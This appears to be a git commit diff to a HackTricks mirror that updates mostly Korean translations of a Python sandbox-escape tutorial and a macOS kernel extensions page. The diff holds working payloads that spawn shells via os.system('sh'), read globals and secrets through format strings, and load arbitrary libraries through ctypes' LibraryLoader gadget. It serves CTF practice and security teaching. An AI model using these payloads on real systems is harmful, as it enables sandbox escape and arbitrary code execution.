mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-28 15:41:34 +00:00
Translated ['generic-methodologies-and-resources/python/bypass-python-sa
This commit is contained in:
parent
2ad7e098b5
commit
580ae27234
4 changed files with 127 additions and 65 deletions
|
@ -148,7 +148,7 @@
|
||||||
* [macOS GCD - Grand Central Dispatch](macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md)
|
* [macOS GCD - Grand Central Dispatch](macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md)
|
||||||
* [macOS Kernel & System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md)
|
* [macOS Kernel & System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md)
|
||||||
* [macOS IOKit](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md)
|
* [macOS IOKit](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md)
|
||||||
* [macOS Kernel Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md)
|
* [macOS Kernel Extensions & Debugging](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md)
|
||||||
* [macOS Kernel Vulnerabilities](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md)
|
* [macOS Kernel Vulnerabilities](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md)
|
||||||
* [macOS System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md)
|
* [macOS System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md)
|
||||||
* [macOS Network Services & Protocols](macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md)
|
* [macOS Network Services & Protocols](macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md)
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# Bypass Python sandboxes
|
# Bypass Python sandboxes
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -191,13 +191,13 @@ X = exec(X)
|
||||||
@'__import__("os").system("sh")'.format
|
@'__import__("os").system("sh")'.format
|
||||||
class _:pass
|
class _:pass
|
||||||
```
|
```
|
||||||
### RCE 객체 생성 및 오버로드
|
### RCE 객체 생성 및 오버로딩
|
||||||
|
|
||||||
당신이 **클래스를 선언**하고 그 클래스의 **객체를 생성**할 수 있다면, **직접 호출할 필요 없이** **트리거될 수 있는** **다양한 메서드**를 **작성/오버라이드**할 수 있습니다.
|
클래스를 **선언**하고 해당 클래스의 **객체를 생성**할 수 있다면, **직접 호출할 필요 없이** **트리거**될 수 있는 **다양한 메서드**를 **작성/오버라이드**할 수 있습니다.
|
||||||
|
|
||||||
#### 사용자 정의 클래스를 통한 RCE
|
#### 사용자 정의 클래스를 통한 RCE
|
||||||
|
|
||||||
일부 **클래스 메서드**를 (_기존 클래스 메서드를 오버라이드하거나 새로운 클래스를 생성하여_) 수정하여 **직접 호출하지 않고도** **트리거될 때 임의의 코드를 실행**하도록 만들 수 있습니다.
|
일부 **클래스 메서드**를 (_기존 클래스 메서드를 오버라이드하거나 새로운 클래스를 생성하여_) 수정하여 **직접 호출하지 않고** **트리거**될 때 **임의의 코드를 실행**하도록 만들 수 있습니다.
|
||||||
```python
|
```python
|
||||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||||
class RCE:
|
class RCE:
|
||||||
|
@ -264,7 +264,7 @@ Sub['import os; os.system("sh")']
|
||||||
|
|
||||||
## You can also use the tricks from the previous section to get RCE with this object
|
## You can also use the tricks from the previous section to get RCE with this object
|
||||||
```
|
```
|
||||||
#### Creating objects with exceptions
|
#### 예외로 객체 생성하기
|
||||||
|
|
||||||
**예외가 발생하면** **Exception**의 객체가 **생성됩니다**. 이를 위해 생성자를 직접 호출할 필요가 없습니다 ( [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez) 의 트릭):
|
**예외가 발생하면** **Exception**의 객체가 **생성됩니다**. 이를 위해 생성자를 직접 호출할 필요가 없습니다 ( [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez) 의 트릭):
|
||||||
```python
|
```python
|
||||||
|
@ -374,7 +374,7 @@ get_flag.__globals__['__builtins__']
|
||||||
# Get builtins from loaded classes
|
# Get builtins from loaded classes
|
||||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||||
```
|
```
|
||||||
[**아래에는 더 큰 함수가 있습니다**](./#recursive-search-of-builtins-globals) 수십/**수백** 개의 **위치**를 찾아 **builtins**을 찾습니다.
|
[**아래에는 더 큰 함수가 있습니다**](./#recursive-search-of-builtins-globals) 수십/**수백** 개의 **위치**에서 **builtins**를 찾을 수 있습니다.
|
||||||
|
|
||||||
#### Python2 및 Python3
|
#### Python2 및 Python3
|
||||||
```python
|
```python
|
||||||
|
@ -416,7 +416,7 @@ class_obj.__init__.__globals__
|
||||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||||
```
|
```
|
||||||
[**아래에는 더 큰 함수가 있습니다**](./#recursive-search-of-builtins-globals) 수십/**수백** 개의 **위치**를 찾아 **globals**를 찾습니다.
|
[**아래에는 더 큰 함수가 있습니다**](./#recursive-search-of-builtins-globals) 수십/**수백** 개의 **위치**에서 **globals**를 찾을 수 있습니다.
|
||||||
|
|
||||||
## 임의 실행 발견
|
## 임의 실행 발견
|
||||||
|
|
||||||
|
@ -424,7 +424,7 @@ class_obj.__init__.__globals__
|
||||||
|
|
||||||
#### 우회로 서브클래스에 접근하기
|
#### 우회로 서브클래스에 접근하기
|
||||||
|
|
||||||
이 기술의 가장 민감한 부분 중 하나는 **기본 서브클래스**에 접근할 수 있는 것입니다. 이전 예제에서는 `''.__class__.__base__.__subclasses__()`를 사용하여 이를 수행했지만 **다른 가능한 방법**도 있습니다:
|
이 기술의 가장 민감한 부분 중 하나는 **기본 서브클래스에 접근할 수 있는 것**입니다. 이전 예제에서는 `''.__class__.__base__.__subclasses__()`를 사용하여 이를 수행했지만 **다른 가능한 방법**도 있습니다:
|
||||||
```python
|
```python
|
||||||
#You can access the base from mostly anywhere (in regular conditions)
|
#You can access the base from mostly anywhere (in regular conditions)
|
||||||
"".__class__.__base__.__subclasses__()
|
"".__class__.__base__.__subclasses__()
|
||||||
|
@ -679,11 +679,6 @@ You can check the output of this script on this page:
|
||||||
## Python Format String
|
## Python Format String
|
||||||
|
|
||||||
만약 **형식화**될 **문자열**을 파이썬에 **전송**하면, `{}`를 사용하여 **파이썬 내부 정보**에 접근할 수 있습니다. 예를 들어, 이전 예제를 사용하여 globals 또는 builtins에 접근할 수 있습니다.
|
만약 **형식화**될 **문자열**을 파이썬에 **전송**하면, `{}`를 사용하여 **파이썬 내부 정보**에 접근할 수 있습니다. 예를 들어, 이전 예제를 사용하여 globals 또는 builtins에 접근할 수 있습니다.
|
||||||
|
|
||||||
{% hint style="info" %}
|
|
||||||
하지만, **제한**이 있습니다. `.[]` 기호만 사용할 수 있으므로, **임의의 코드를 실행할 수는 없고**, 정보만 읽을 수 있습니다.\
|
|
||||||
_**이 취약점을 통해 코드를 실행하는 방법을 알고 있다면, 저에게 연락해 주세요.**_
|
|
||||||
{% endhint %}
|
|
||||||
```python
|
```python
|
||||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||||
CONFIG = {
|
CONFIG = {
|
||||||
|
@ -705,14 +700,14 @@ get_name_for_avatar(st, people_obj = people)
|
||||||
```
|
```
|
||||||
Note how you can **access attributes** in a normal way with a **dot** like `people_obj.__init__` and **dict element** with **parenthesis** without quotes `__globals__[CONFIG]`
|
Note how you can **access attributes** in a normal way with a **dot** like `people_obj.__init__` and **dict element** with **parenthesis** without quotes `__globals__[CONFIG]`
|
||||||
|
|
||||||
또한 `.__dict__`를 사용하여 객체의 요소를 열거할 수 있습니다 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
또한 `.__dict__`를 사용하여 객체의 요소를 열거할 수 있음을 주목하십시오 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||||
|
|
||||||
Some other interesting characteristics from format strings is the possibility of **executing** the **functions** **`str`**, **`repr`** and **`ascii`** in the indicated object by adding **`!s`**, **`!r`**, **`!a`** respectively:
|
Some other interesting characteristics from format strings is the possibility of **executing** the **functions** **`str`**, **`repr`** and **`ascii`** in the indicated object by adding **`!s`**, **`!r`**, **`!a`** respectively:
|
||||||
```python
|
```python
|
||||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||||
get_name_for_avatar(st, people_obj = people)
|
get_name_for_avatar(st, people_obj = people)
|
||||||
```
|
```
|
||||||
또한, 클래스에서 **새로운 포매터를 코드화**하는 것이 가능합니다:
|
또한, 클래스에서 **새로운 포맷터를 코드화**하는 것이 가능합니다:
|
||||||
```python
|
```python
|
||||||
class HAL9000(object):
|
class HAL9000(object):
|
||||||
def __format__(self, format):
|
def __format__(self, format):
|
||||||
|
@ -743,16 +738,60 @@ return 'HAL 9000'
|
||||||
|
|
||||||
# Access an element through several links
|
# Access an element through several links
|
||||||
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
|
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
|
||||||
|
|
||||||
|
# Example from https://corgi.rip/posts/buckeye-writeups/
|
||||||
|
secret_variable = "clueless"
|
||||||
|
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
|
||||||
|
str(x) # Out: clueless
|
||||||
```
|
```
|
||||||
## Python 객체 해부하기
|
### 형식에서 RCE로 라이브러리 로딩
|
||||||
|
|
||||||
|
[**이 글의 TypeMonkey 챌린지**](https://corgi.rip/posts/buckeye-writeups/)에 따르면, 파이썬의 형식 문자열 취약점을 악용하여 디스크에서 임의의 라이브러리를 로드하는 것이 가능합니다.
|
||||||
|
|
||||||
|
상기할 점은, 파이썬에서 어떤 작업이 수행될 때마다 어떤 함수가 실행된다는 것입니다. 예를 들어 `2*3`은 **`(2).mul(3)`**을 실행하거나 **`{'a':'b'}['a']`**는 **`{'a':'b'}.__getitem__('a')`**이 됩니다.
|
||||||
|
|
||||||
|
이와 유사한 내용은 [**호출 없이 파이썬 실행**](./#python-execution-without-calls) 섹션에서 더 확인할 수 있습니다.
|
||||||
|
|
||||||
|
파이썬 형식 문자열 취약점은 함수를 실행할 수 없으므로 (괄호를 사용할 수 없기 때문에) `'{0.system("/bin/sh")}'.format(os)`와 같은 방식으로 RCE를 얻는 것은 불가능합니다.\
|
||||||
|
그러나 `[]`를 사용할 수 있습니다. 따라서, 일반적인 파이썬 라이브러리에 임의의 코드를 실행하는 **`__getitem__`** 또는 **`__getattr__`** 메서드가 있다면, 이를 악용하여 RCE를 얻을 수 있습니다.
|
||||||
|
|
||||||
|
파이썬에서 그런 가젯을 찾기 위해, 이 글에서는 [**Github 검색 쿼리**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code)를 제안합니다. 여기서 그는 이 [하나](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463)를 발견했습니다:
|
||||||
|
```python
|
||||||
|
class LibraryLoader(object):
|
||||||
|
def __init__(self, dlltype):
|
||||||
|
self._dlltype = dlltype
|
||||||
|
|
||||||
|
def __getattr__(self, name):
|
||||||
|
if name[0] == '_':
|
||||||
|
raise AttributeError(name)
|
||||||
|
try:
|
||||||
|
dll = self._dlltype(name)
|
||||||
|
except OSError:
|
||||||
|
raise AttributeError(name)
|
||||||
|
setattr(self, name, dll)
|
||||||
|
return dll
|
||||||
|
|
||||||
|
def __getitem__(self, name):
|
||||||
|
return getattr(self, name)
|
||||||
|
|
||||||
|
cdll = LibraryLoader(CDLL)
|
||||||
|
pydll = LibraryLoader(PyDLL)
|
||||||
|
```
|
||||||
|
이 장치는 **디스크에서 라이브러리를 로드**할 수 있게 해줍니다. 따라서, 공격받는 서버에 **정확하게 컴파일된 라이브러리를 작성하거나 업로드**하는 방법이 필요합니다.
|
||||||
|
```python
|
||||||
|
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||||
|
```
|
||||||
|
The challenge actually abuses another vulnerability in the server that allows to create arbitrary files in the servers disk.
|
||||||
|
|
||||||
|
## Dissecting Python Objects
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
**파이썬 바이트코드**에 대해 깊이 배우고 싶다면 이 **멋진** 게시물을 읽어보세요: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
If you want to **learn** about **python bytecode** in depth read this **awesome** post about the topic: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
일부 CTF에서는 **플래그**가 있는 **사용자 정의 함수의 이름**이 제공될 수 있으며, 이를 추출하기 위해 **함수**의 **내부**를 살펴봐야 합니다.
|
In some CTFs you could be provided with the name of a **custom function where the flag** resides and you need to see the **internals** of the **function** to extract it.
|
||||||
|
|
||||||
검사할 함수는 다음과 같습니다:
|
이것은 검사할 함수입니다:
|
||||||
```python
|
```python
|
||||||
def get_flag(some_input):
|
def get_flag(some_input):
|
||||||
var1=1
|
var1=1
|
||||||
|
@ -772,7 +811,7 @@ dir(get_flag) #Get info tof the function
|
||||||
```
|
```
|
||||||
#### globals
|
#### globals
|
||||||
|
|
||||||
`__globals__` 및 `func_globals`(동일) 전역 환경을 얻습니다. 예제에서는 일부 가져온 모듈, 일부 전역 변수 및 선언된 내용이 표시됩니다:
|
`__globals__` 및 `func_globals`(동일) 전역 환경을 얻습니다. 예제에서는 일부 가져온 모듈, 일부 전역 변수 및 선언된 내용을 볼 수 있습니다:
|
||||||
```python
|
```python
|
||||||
get_flag.func_globals
|
get_flag.func_globals
|
||||||
get_flag.__globals__
|
get_flag.__globals__
|
||||||
|
@ -873,7 +912,7 @@ dis.dis(get_flag)
|
||||||
44 LOAD_CONST 0 (None)
|
44 LOAD_CONST 0 (None)
|
||||||
47 RETURN_VALUE
|
47 RETURN_VALUE
|
||||||
```
|
```
|
||||||
**파이썬 샌드박스에서 `dis`를 가져올 수 없는 경우** 함수의 **바이트코드** (`get_flag.func_code.co_code`)를 얻고 **로컬에서 분해**할 수 있습니다. 로드되는 변수의 내용(`LOAD_CONST`)은 볼 수 없지만, `LOAD_CONST`가 로드되는 변수의 오프셋도 알려주기 때문에 (`get_flag.func_code.co_consts`)를 통해 추측할 수 있습니다.
|
**파이썬 샌드박스에서 `dis`를 가져올 수 없는 경우** 함수의 **바이트코드** (`get_flag.func_code.co_code`)를 얻고 **로컬에서 분해**할 수 있습니다. 로드되는 변수의 내용(`LOAD_CONST`)은 볼 수 없지만, `LOAD_CONST`가 로드되는 변수의 오프셋도 알려주기 때문에 (`get_flag.func_code.co_consts`)로부터 추측할 수 있습니다.
|
||||||
```python
|
```python
|
||||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||||
0 LOAD_CONST 1 (1)
|
0 LOAD_CONST 1 (1)
|
||||||
|
@ -895,7 +934,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||||
44 LOAD_CONST 0 (0)
|
44 LOAD_CONST 0 (0)
|
||||||
47 RETURN_VALUE
|
47 RETURN_VALUE
|
||||||
```
|
```
|
||||||
## Compiling Python
|
## Python 컴파일
|
||||||
|
|
||||||
이제, 어떻게든 **실행할 수 없는 함수에 대한 정보를 덤프할 수 있다고 상상해 보십시오**. 하지만 **실행해야** 합니다.\
|
이제, 어떻게든 **실행할 수 없는 함수에 대한 정보를 덤프할 수 있다고 상상해 보십시오**. 하지만 **실행해야** 합니다.\
|
||||||
다음 예제와 같이, 그 함수의 **코드 객체에 접근할 수 있지만**, disassemble을 읽는 것만으로는 **플래그를 계산하는 방법을 알 수 없습니다** (_더 복잡한 `calc_flag` 함수라고 상상해 보십시오_)
|
다음 예제와 같이, 그 함수의 **코드 객체에 접근할 수 있지만**, disassemble을 읽는 것만으로는 **플래그를 계산하는 방법을 알 수 없습니다** (_더 복잡한 `calc_flag` 함수라고 상상해 보십시오_)
|
||||||
|
@ -913,7 +952,7 @@ return "Nope"
|
||||||
```
|
```
|
||||||
### Creating the code object
|
### Creating the code object
|
||||||
|
|
||||||
먼저, **코드 객체를 생성하고 실행하는 방법**을 알아야 하므로, 우리의 함수 leak을 실행하기 위해 하나를 생성할 수 있습니다:
|
먼저, **코드 객체를 생성하고 실행하는 방법**을 알아야 합니다. 그래야 우리의 함수 leak을 실행하기 위해 하나를 생성할 수 있습니다:
|
||||||
```python
|
```python
|
||||||
code_type = type((lambda: None).__code__)
|
code_type = type((lambda: None).__code__)
|
||||||
# Check the following hint if you get an error in calling this
|
# Check the following hint if you get an error in calling this
|
||||||
|
@ -958,7 +997,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||||
```
|
```
|
||||||
### Bypass Defenses
|
### Bypass Defenses
|
||||||
|
|
||||||
이 게시물의 시작 부분에 있는 이전 예제에서 **`compile` 함수**를 사용하여 **어떤 파이썬 코드든 실행하는 방법**을 볼 수 있습니다. 이는 **루프와 모든 것을 포함한 전체 스크립트**를 **한 줄**로 실행할 수 있기 때문에 흥미롭습니다 (그리고 **`exec`**를 사용하여 동일한 작업을 수행할 수 있습니다).\
|
이 게시물의 시작 부분에 있는 이전 예제에서 **`compile` 함수**를 사용하여 **어떤 파이썬 코드든 실행하는 방법**을 볼 수 있습니다. 이는 **전체 스크립트**를 루프와 함께 **한 줄**로 실행할 수 있기 때문에 흥미롭습니다 (그리고 **`exec`**를 사용하여 동일한 작업을 수행할 수 있습니다).\
|
||||||
어쨌든, 때때로 **로컬 머신**에서 **컴파일된 객체**를 **생성**하고 **CTF 머신**에서 실행하는 것이 유용할 수 있습니다 (예를 들어 CTF에서 `compiled` 함수가 없기 때문에).
|
어쨌든, 때때로 **로컬 머신**에서 **컴파일된 객체**를 **생성**하고 **CTF 머신**에서 실행하는 것이 유용할 수 있습니다 (예를 들어 CTF에서 `compiled` 함수가 없기 때문에).
|
||||||
|
|
||||||
예를 들어, _./poc.py_를 읽는 함수를 수동으로 컴파일하고 실행해 보겠습니다:
|
예를 들어, _./poc.py_를 읽는 함수를 수동으로 컴파일하고 실행해 보겠습니다:
|
||||||
|
@ -988,7 +1027,7 @@ mydict['__builtins__'] = __builtins__
|
||||||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||||
function_type(codeobj, mydict, None, None, None)()
|
function_type(codeobj, mydict, None, None, None)()
|
||||||
```
|
```
|
||||||
`eval` 또는 `exec`에 접근할 수 없는 경우 **적절한 함수를** 생성할 수 있지만, 이를 직접 호출하면 일반적으로 다음과 같은 오류가 발생합니다: _제한된 모드에서 생성자에 접근할 수 없습니다_. 따라서 이 함수를 호출하기 위해 **제한된 환경에 있지 않은 함수가 필요합니다.**
|
`eval` 또는 `exec`에 접근할 수 없다면 **적절한 함수를** 생성할 수 있지만, 이를 직접 호출하면 일반적으로 다음과 같은 오류가 발생합니다: _제한된 모드에서 생성자에 접근할 수 없음_. 따라서 이 함수를 호출하기 위해서는 **제한된 환경이 아닌 함수가 필요합니다.**
|
||||||
```python
|
```python
|
||||||
#Compile a regular print
|
#Compile a regular print
|
||||||
ftype = type(lambda: None)
|
ftype = type(lambda: None)
|
||||||
|
@ -1031,10 +1070,9 @@ will be bypassed
|
||||||
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
||||||
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||||
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# macOS Kernel Extensions
|
# macOS Kernel Extensions & Debugging
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -21,31 +21,31 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
||||||
|
|
||||||
### Requirements
|
### Requirements
|
||||||
|
|
||||||
명백히, 이것은 매우 강력하여 **커널 확장을 로드하는 것이 복잡합니다**. 커널 확장이 로드되기 위해 충족해야 할 **요구 사항**은 다음과 같습니다:
|
명백히, 이것은 매우 강력하여 **커널 확장을 로드하는 것이 복잡합니다**. 커널 확장이 로드되기 위해 충족해야 하는 **요구 사항**은 다음과 같습니다:
|
||||||
|
|
||||||
* **복구 모드에 들어갈 때**, 커널 **확장이 로드될 수 있도록 허용되어야 합니다**:
|
* **복구 모드에 들어갈 때**, 커널 **확장이 로드될 수 있도록 허용되어야 합니다**:
|
||||||
|
|
||||||
